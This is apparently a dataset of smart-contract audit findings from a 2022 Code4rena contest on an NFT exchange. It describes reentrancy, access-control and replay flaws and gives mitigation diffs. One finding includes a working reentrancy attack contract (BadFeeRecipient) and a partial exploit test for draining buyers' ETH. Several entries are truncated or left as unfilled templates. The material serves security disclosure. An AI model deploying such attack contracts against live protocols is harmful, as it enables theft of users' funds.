xanoutas/solidity-security-findings huggingface dataset:
The function `_execute` could be called externally
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154-L283


# Vulnerability details

### Author: rotcivegaf

### Impact

The `_execute` use a modifier to only can called internally, also specified in the documentation of the function: [`Must be called internally.`](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L230)

But this modifier can be pass if a contract call the `execute` or `bulkExecute` and in the [`_returnDust` callback](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L216-L224) when return the `dust`, the contract sender call the `_execute` because the `isInternal` should be `true`

### Tools Used

Review

### Recommended Mitigation Steps

Option 1: Change the `isInternal` variable, before and after use `_execute`

```diff
@@ -39,10 +39,8 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U

     modifier setupExecution() {
         remainingETH = msg.value;
-        isInternal = true;
         _;
         remainingETH = 0;
-        isInternal = false;
     }

     modifier internalCall() {

@@ -157,7 +155,9 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
         whenOpen
         setupExecution
     {
+        isInternal = true;
         _execute(sell, buy);
+        isInternal = false;
         _returnDust();
     }

@@ -181,6 +181,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
         _returnDust(remainingETH);
         */
         uint256 executionsLength = executions.length;
+        isInternal = true;
         for (uint8 i = 0; i < executionsLength; i++) {
             assembly {
                 let memPointer := mload(0x40)

@@ -206,6 +207,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
                 let result := delegatecall(gas(), address(), memPointer, add(size, 0x04), 0, 0)
             }
         }
+        isInternal = false;
         _returnDust();
     }
```

Option 2: Move the `reentrancyGuard` modifier to the functions `execute` and `bulkExecute`

```diff
@@ -156,6 +156,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
         payable
         whenOpen
         setupExecution
+        reentrancyGuard
     {
         _execute(sell, buy);
         _returnDust();

@@ -170,6 +171,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
         payable
         whenOpen
         setupExecution
+        reentrancyGuard
     {
         /*
         REFERENCE

@@ -234,7 +236,6 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
     function _execute(Input calldata sell, Input calldata buy)
         public
         payable
-        reentrancyGuard
Direct theft of buyers ETH funds.
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154


# Vulnerability details

## Impact

Most severe issue: 
**A Seller or Fee recipient can steal ETH funds from the buyer when he is making a single or bulk execution. (Direct theft of funds).**

Additional impacts that can be caused by these bugs:
1. Seller or Fee recipient can cause next in line executions to revert in `bulkExecute` (by altering `isInternal`, insufficient funds, etc..)
2. Seller or Fee recipient can call `_execute` externally 
3. Seller or Fee recipient can set a caller `_remainingETH` to 0 (will not get refunded)

## Proof of Concept
Background:
* The protocol added a `bulkExecute` function that allows multiple orders to execute. The implementation is implemented in a way that if an `_execute` of a single order reverts, it will not break additional or previous successful `_execute`s. It is therefore very important to track actual ETH used by the function. 
* The protocol has recognized the need to track buyers ETH in order to refund unused ETH by implementing the `_returnDust` function and `setupExecution` modifier. This ensures that calls to `_execute` must be internal and have proper accounting of remainingETH. 
* Fee recipient is controlled by the seller. The seller determines the recipients and fee rates.

The new implementations creates an attack vectors that allows the Seller or Fee recipient to steal ETH.

There are three main bugs that can be exploited to steal the ETH:
1. Reentrancy is possible by feeRecipient as long as `_execute` is not called (`_execute` has a reentrancyGuard)
2. `bulkExecute` can be called with an empty parameter. This allows the caller to not enter `_execute` and call `_returnDust`
3. `_returnDust` sends the entire balance of the contract to the caller.

(Side note: I issued the 3 bugs together in this one report in order to show impact and better reading experience for sponsor and judge. If you see fit, these three bugs can be split to three different findings)

There are two logical scenarios where the heist could originate from:
1. Malicious seller: The seller can set the fee recipient to a malicious contract.
2. Malicious fee recipient: fee recipient can steal the funds without the help of the seller. 

Consider the scenario (#1) where feeRecipient rate 10% of token price 1 ETH:
1. Bob (Buyer) wants to execute 4 orders with ETH. Among the orders is Alice's (seller) sell order (lets assume first in line).
2. Bob calls `bulkExecute` with `4 ETH`. `1 ETH` for every order. 
3. Alice's sell
Initialization function can be front-run
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L112


# Vulnerability details

## Detailed description of the impact of this finding:

Exchange.sol has initialization function that can be front-run, allowing an attacker to incorrectly initialize the contract. Due to the use of the delegatecall proxy pattern, `Exchange.sol` cannot be initialized with a constructor, and has initializer function. All these functions can be front-run by an attacker, allowing them to initialize the contracts with malicious values.
Detailed description of the impact of this finding.

## Proof of Concept
- function initialize(
        IExecutionDelegate _executionDelegate,
        IPolicyManager _policyManager,
        address _oracle,
        uint _blockRange
    ) external initializer {
        __Ownable_init();
        isOpen = 1;

        DOMAIN_SEPARATOR = _hashDomain(EIP712Domain({
            name              : NAME,
            version           : VERSION,
            chainId           : block.chainid,
            verifyingContract : address(this)
        }));

        executionDelegate = _executionDelegate;
        policyManager = _policyManager;
        oracle = _oracle;
        blockRange = _blockRange;
    }

## Tools Used
Manual analytics

## Recommended Mitigation Steps
Short term, either: 1) Use a factory pattern that will prevent front-running of the initialization, or 2) Ensure the deployment scripts are robust in case of a front-running attack. Carefully review the Solidity documentation, especially the Warnings section. Carefully review the pitfalls of using delegatecall proxy pattern.
Pool funds can be used by anyone due to lack of allowance in the custom implementation of `transferFrom`
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Pool.sol#L58-L68
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L633-L636


# Vulnerability details

## Impact
Users' Pool assets can be used by anyone to `execute()` a transaction, essentially stealing from them.

## Proof of Concept
Pool contract uses a custom implementation of `transferFrom` which allows transfer of Pool assets from any address to any address as long as caller is `EXCHANGE` or `SWAP`. An attacker can call `execute()`, set `paymentToken = POOL`, and use up the funds that belongs to other users. There is no input verification in `_transferTo()` to ensure that only `msg.sender` can access the funds from `from` address.

[Exchange.sol#L633-636](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L633-L636)
```solidity
        else if (paymentToken == POOL) {
            /* Transfer Pool funds. */
            bool success = IPool(POOL).transferFrom(from, to, amount);
            require(success, "Pool transfer failed");
        }
```

## Tools Used
Manual Review

## Recommended Mitigation Steps
Add input verification such that an arbitrary user cannot simply use the funds of anyone by `Pool.transferFrom()`.
internalCall modifier can be circumvented with execute / bulkExecute
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/8eaeb007b81d3c89ecf6a5dc2a67eecbe94cefaf/contracts/Exchange.sol#L161
https://github.com/code-423n4/2022-11-non-fungible/blob/8eaeb007b81d3c89ecf6a5dc2a67eecbe94cefaf/contracts/Exchange.sol#L209


# Vulnerability details

## Impact
The `internalCall` modifier ensures that public functions can only be called from another public function and not directly. It is implemented like that:
```
modifier internalCall() {
        require(isInternal, "This function should not be called directly");
        _;
}
```
The modifier `setupExecution` sets `isInternal` such that the calls work within all functions that have this modifier:
```
modifier setupExecution() {
        remainingETH = msg.value;
        isInternal = true;
        _;
        remainingETH = 0;
        isInternal = false;
}
```
However, at the end of `execute` and `bulkExecute`, there is a `_returnDust()` call, which transfers ETH to the caller and therefore gives him the possibility to reenter into the contract. Because `isInternal` is still true at this point, this can be used to directly call functions with an `isInternal` modifier (i.e., the ones that should not be directly callable).

## Proof of Concept
Bob calls `execute` (from a smart contract) to execute an order. Within `_returnDust()`, some ETH is transferred back to the smart contract, which triggers his `receive` function. In there, he can now execute all functions with an `isInternal` modifier, making the modifier useless. For instance, he can directly call `_execute`, which should not be possible (as this would be a private function, but was marked `public` with the modifier such that the delegatecalls work).

## Recommended Mitigation Steps
Add reentrancy guard protection to `setupExecution`. Note that the normal reentrancy variable (that is also used for `_execute`) cannot be set, otherwise this call would revert. Instead, a more advanced scheme is needed with multiple variables.
Buyers unused ETH funds can be stolen (Direct theft of funds)
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154


# Vulnerability details

## Impact

The protocol has recognized the need to track buyers ETH in order to refund unused ETH by implementing the `_returnDust` function and `setupExecution` modifier. The implementation creates an attack vector that allows the seller to steal the unused ETH.

Refunding is promised and implemented by the protocol, therefor it is probable that buyers will send unused ETH.

## Proof of Concept

The bug exists in such that a seller can re-enter the contract once getting the payment and transfer all the ETH balance of the exchange contract. Because the contract is in a state that funds have not yet been refunded to the buyer, the seller will receive them instead.

Consider the following:
1. Alice (buyer) executes an order from Bob (seller) by sending 2 ETH for a 1.5 ETH item. (expects to get 0.5 ETH back)
2. Bob receives the funds and calls `bulkExecute` with an empty `executions` array and 1 WEI.
3. Bob receives (0.5 ETH + 1 WEI) as a refund in `_returnDust` (contracts balance at this point). 
4. Bob returns execution to Alice order.
5. Alice expects to get refunded 0.5 ETH but gets 0.

### Technical Explanation:

The protocol tracks the ETH usage of the buyer in the modifier `setupExecution` by capturing the `msg.value` of the call to  `execute` or `bulkExecute` in `Exchange.sol`.

`setupExecution`:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L40
```
    modifier setupExecution() {
        remainingETH = msg.value;
        isInternal = true;
        _;
        remainingETH = 0;
        isInternal = false;
    }
```

`execute`:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154
```
    function execute(Input calldata sell, Input calldata buy)
        external
        payable
        whenOpen
        setupExecution
    {
        _execute(sell, buy);
        _returnDust();
    }
```

`bulkExecute`:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
```
    function bulkExecute(Execution[] calldata executions)
        external
        payable
        whenOpen
        setupExecution

```

Before the buyers (Alice) 1.5 ETH funds are sent to the seller for payment, the `_remainingETH` is reduced by the price of the order. After reduction, the unused ETH amount will be updated in `_remainingETH ` (0.5 ETH)

`_executeFundsTransfer`:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e80
Seller can steal ETH which is for other orders of the bulk
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212


# Vulnerability details

## Impact
The 'bulkExecute()' and '_returnDust()' functions are susceptible to reentrancy attack. Seller can exploit it to steal ETH which is for other orders of the bulk.

## Proof of Concept

Key steps for successful attack
```
(1) set fee rate to 100%
(2) reentrancy call 'bulkExecute()' in 'receive()' of feeRecipient contract with zero length 'Execution' array as parameter
```

The working attack contract and test case:
Put the following attack contract to  a new 'BadFeeRecipient.sol' file  of 'contracts' directory.
```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {
  Execution
} from "./lib/OrderStructs.sol";

interface IBulkExecute {
    function bulkExecute(Execution[] calldata executions)
        external
        payable;
}

contract BadFeeRecipient {
    address immutable private _exchange;
    address immutable private _owner;
    constructor (address exchange) {
        _exchange = exchange;
        _owner = msg.sender;
    }

    function withdraw(address to) external {
        require(msg.sender == _owner && to != address(0));
        (bool success,) = payable(to).call{value: address(this).balance}("");
        require(success);
    }

    receive() external payable {
        _attack();
    }

    function _attack() private {
        if (msg.sender != _exchange) return;
        if (_exchange.balance == 0) return;
        Execution[] memory executions = new Execution[](0);
        IBulkExecute(_exchange).bulkExecute{value: 1}(executions);
    }
}
```

Put the following test script to a new 'exploitBulkExecute.test.ts' file of 'tests' directory
```
import hre from 'hardhat';
import { expect } from 'chai';
import { ethers, Wallet, Contract, BigNumber, Signer } from 'ethers';
import { waitForTx, getRequiredEnv, deploy } from '../web3-utils';

import { eth, Order, setupTest } from './exchange';
import { Side, ZERO_ADDRESS } from './exchange/utils';
import type { CheckBalances, GenerateOrder, SetupExchangeFunction, SetupExchangeOpts, SetupExchangeResult } from './exchange';
import { deployFull, deployPool } from '../scripts/deploy';

async function setBalance(address: string, value: string) {
  await hre.network.provider.send('hardhat_setBalance', [address, value]);
}

export async function deployBadFeeRecipient(exchange: any): Promise<Contract> {
  return await deploy('BadFeeRecipient', [exchange], {}, 'BadFeeRecipient');
}

async function setupExchange({
    admin,
  }: SetupExchangeOpts): Promise<SetupExchangeResult> {
    await hre.network.provider.request({
      method: 'hardhat_reset',
      params: [
        {
          forking: {
            jsonRpcUrl: `https://mainnet.infura.io/v3/${getRequiredEnv(
              'INFURA_AP
The bulkExecute function does not bypass failed executions.
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L206


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
According to the documentation, "Add bulk execute function; attempted executions that fail should be bypassed". However, the implementation of ``bulkExecute`` does not conform to this spec. Fail executions will not be bypassed, when one execution fails, the whole bulkExecute will revert. 

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
The following line is used to call one execution in the ``bulkExecute()`` function. If the delegatecall reverts inside, the whole ``bulkExecute`` will revert as well.
```
                let result := delegatecall(gas(), address(), memPointer, add(size, 0x04), 0, 0)
```

## Tools Used
Remix
## Recommended Mitigation Steps
A try-catch statement should be used so that when one execution fail,s the whole bulkExecute can continue with the next execution.
Replay attack for authorized orders
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L242-L243


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
Nonce is used by sellers and buyers to avoid replay attack for their orders. However, since ``sellHash`` and ``buyHash`` only contain the order info and the nonce, it is still possible to have a replay attack across different addresses and blockchains. 

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
The replay attack is possible because 
The same signature can be reused for a different contract address or a different chainid. The protocol might be redeployed to a different address (less likely due to the proxy pattern) or to a different chain (very likely if the project is successful).




## Tools Used
Remix

## Recommended Mitigation Steps
Include both ``addresss(this)`` and ``chainid`` in the ``sellHash`` and ``buyHash`` to avoid replay attack across different deployments on the same chain or different chains.
Overpayment of  ETH is not refunded to the buyer
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L565-L575


# Vulnerability details

## Impact
Overpayment of  ETH is not refunded to the buyer

## Proof of Concept
https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L565-L575

           '    function _executeFundsTransfer(
        address seller,
        address buyer,
        address paymentToken,
        Fee[] calldata fees,
        uint256 price
    ) internal {
        if (msg.sender == buyer && paymentToken == address(0)) {
            require(remainingETH >= price);
            remainingETH -= price;
        }'


## Recommended Mitigation Steps
Calculate and refund overpayment amounts to callers.
ERC20 return values not checked
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L635


# Vulnerability details

## Impact
Tokens that don't correctly implement the latest EIP20 spec, like USDT, will be unusable in the protocol as they revert the transaction because of the missing return value. As there is a cToken with USDT as the underlying issue directly applies to the protocol.

## Proof of Concept
https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L635

        'IPool(POOL).transferFrom(from, to, amount);'

## Tools Used
manual code review
## Recommended Mitigation Steps
We recommend using OpenZeppelin’s SafeERC20 versions with the safeTransfer and safeTransferFrom functions that handle the return value check as well as non-standard-compliant tokens.
Check whether the `collection` address is valid
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L653-L667


# Vulnerability details

## Impact

In `_executeTokenTransfer()`, the seller's `collection` is sent to the buyer without checking whether the `collection` exists or whether `collenction` belongs to the seller. Nor is it checked to see if the `collection` is a malicious address. None of this was checked. Send directly from seller to buyer.
If the seller creates a malicious nft. Although you can send it to the buyer. But the owner of the nft is still the seller. This is totally achievable.



## Proof of Concept
```solidity
    function _executeTokenTransfer(
        address collection,
        address from,
        address to,
        uint256 tokenId,
        uint256 amount,
        AssetType assetType
    ) internal {
        /* Call execution delegate. */
        if (assetType == AssetType.ERC721) {
            executionDelegate.transferERC721(collection, from, to, tokenId);
        } else if (assetType == AssetType.ERC1155) {
            executionDelegate.transferERC1155(collection, from, to, tokenId, amount);
        }
    }
```

## Tools Used
vscode
## Recommended Mitigation Steps
Example Add a whitelist for collenction
Failure of ETH transfer might be overlooked.
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L631


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L631


## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

## Tools Used

## Recommended Mitigation Steps